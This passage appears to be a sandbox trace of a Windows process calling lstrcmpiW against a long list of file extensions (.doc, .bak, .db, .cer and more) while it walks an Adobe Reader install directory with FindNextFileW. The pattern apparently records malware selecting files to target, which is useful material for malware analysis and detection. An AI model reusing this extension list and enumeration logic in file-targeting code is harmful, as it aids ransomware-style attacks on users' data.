	[0176.931] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".ai") returned 3
	[0176.931] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0176.931] lstrlenW (lpString=".ai3") returned 4
	[0176.931] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".ai4") returned 4
	[0176.931] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".ai5") returned 4
	[0176.931] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1
	[0176.931] lstrlenW (lpString=".ai6") returned 4
	[0176.932] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".ai7") returned 4
	[0176.932] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".ai8") returned 4
	[0176.932] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".anim") returned 5
	[0176.932] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1
	[0176.932] lstrlenW (lpString=".arw") returned 4
	[0176.932] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".as") returned 3
	[0176.932] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0176.932] lstrlenW (lpString=".asa") returned 4
	[0176.932] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".asc") returned 4
	[0176.932] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".ascx") returned 5
	[0176.932] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1
	[0176.932] lstrlenW (lpString=".asm") returned 4
	[0176.932] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".asmx") returned 5
	[0176.932] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1
	[0176.932] lstrlenW (lpString=".asp") returned 4
	[0176.932] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".aspx") returned 5
	[0176.932] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1
	[0176.932] lstrlenW (lpString=".asr") returned 4
	[0176.932] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".asx") returned 4
	[0176.932] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".avi") returned 4
	[0176.932] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".avs") returned 4
	[0176.932] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1
	[0176.932] lstrlenW (lpString=".backup") returned 7
	[0176.932] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1
	[0176.933] lstrlenW (lpString=".bak") returned 4
	[0176.933] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".bay") returned 4
	[0176.933] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".bd") returned 3
	[0176.933] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0176.933] lstrlenW (lpString=".bin") returned 4
	[0176.933] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".bmp") returned 4
	[0176.933] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".bz2") returned 4
	[0176.933] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".c") returned 2
	[0176.933] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0176.933] lstrlenW (lpString=".cdr") returned 4
	[0176.933] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".cer") returned 4
	[0176.933] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".cf") returned 3
	[0176.933] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0176.933] lstrlenW (lpString=".cfc") returned 4
	[0176.933] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".cfm") returned 4
	[0176.933] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".cfml") returned 5
	[0176.933] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1
	[0176.933] lstrlenW (lpString=".cfu") returned 4
	[0176.933] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".chm") returned 4
	[0176.933] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".cin") returned 4
	[0176.933] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1
	[0176.933] lstrlenW (lpString=".class") returned 6
	[0176.933] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1
	[0176.934] lstrlenW (lpString=".clx") returned 4
	[0176.934] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".config") returned 7
	[0176.934] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1
	[0176.934] lstrlenW (lpString=".cpp") returned 4
	[0176.934] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".cr2") returned 4
	[0176.934] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".crt") returned 4
	[0176.934] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".crw") returned 4
	[0176.934] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".cs") returned 3
	[0176.934] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0176.934] lstrlenW (lpString=".css") returned 4
	[0176.934] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".csv") returned 4
	[0176.934] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".cub") returned 4
	[0176.934] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".dae") returned 4
	[0176.934] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".dat") returned 4
	[0176.934] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".db") returned 3
	[0176.934] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0176.934] lstrlenW (lpString=".dbf") returned 4
	[0176.934] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".dbx") returned 4
	[0176.934] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".dc3") returned 4
	[0176.934] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1
	[0176.934] lstrlenW (lpString=".dcm") returned 4
	[0176.934] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dcr") returned 4
	[0176.935] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".der") returned 4
	[0176.935] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dib") returned 4
	[0176.935] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dic") returned 4
	[0176.935] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dif") returned 4
	[0176.935] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".divx") returned 5
	[0176.935] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1
	[0176.935] lstrlenW (lpString=".djvu") returned 5
	[0176.935] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1
	[0176.935] lstrlenW (lpString=".dng") returned 4
	[0176.935] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".doc") returned 4
	[0176.935] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".docm") returned 5
	[0176.935] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1
	[0176.935] lstrlenW (lpString=".docx") returned 5
	[0176.935] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1
	[0176.935] lstrlenW (lpString=".dot") returned 4
	[0176.935] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dotm") returned 5
	[0176.935] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1
	[0176.935] lstrlenW (lpString=".dotx") returned 5
	[0176.935] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1
	[0176.935] lstrlenW (lpString=".dpx") returned 4
	[0176.935] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dqy") returned 4
	[0176.935] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1
	[0176.935] lstrlenW (lpString=".dsn") returned 4
	[0176.935] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1
	[0176.936] lstrlenW (lpString=".dt") returned 3
	[0176.938] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0176.938] lstrlenW (lpString=".dtd") returned 4
	[0176.938] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1
	[0176.938] lstrlenW (lpString=".dwg") returned 4
	[0176.938] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1
	[0176.938] lstrlenW (lpString=".dwt") returned 4
	[0176.941] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1
	[0176.942] lstrlenW (lpString=".dx") returned 3
	[0176.942] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0176.942] lstrlenW (lpString=".dxf") returned 4
	[0176.942] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1
	[0176.942] lstrlenW (lpString=".edml") returned 5
	[0176.942] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1
	[0176.942] lstrlenW (lpString=".efd") returned 4
	[0176.942] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1
	[0176.943] lstrlenW (lpString=".elf") returned 4
	[0176.943] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1
	[0176.943] lstrlenW (lpString=".emf") returned 4
	[0176.948] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1
	[0176.948] lstrlenW (lpString=".emz") returned 4
	[0176.974] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1
	[0176.974] lstrlenW (lpString=".epf") returned 4
	[0176.974] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1
	[0176.974] lstrlenW (lpString=".eps") returned 4
	[0176.974] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1
	[0176.974] lstrlenW (lpString=".epsf") returned 5
	[0176.974] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1
	[0176.974] lstrlenW (lpString=".epsp") returned 5
	[0176.980] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.980] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0176.980] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0176.981] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0176.981] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1
	[0176.981] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files") returned 105
	[0176.981] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.981] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0176.981] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\images") returned 112
	[0176.984] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.984] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13362, dwReserved0=0x0, dwReserved1=0x0, cFileName="appstore.png", cAlternateFileName="")) returned 1
	[0176.987] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.987] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="playstore.png", cAlternateFileName="PLAYST~1.PNG")) returned 1
	[0176.987] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.988] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0
	[0176.988] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0176.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0176.988] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0176.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.988] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0176.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.988] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0176.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.988] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0176.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.989] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0176.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.989] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0176.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.989] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0176.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.989] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0176.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.989] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0176.989] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.989] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0176.990] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.990] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0176.990] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.990] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0176.990] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.990] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0176.990] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.990] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0176.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.991] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0176.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.991] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0176.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.991] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
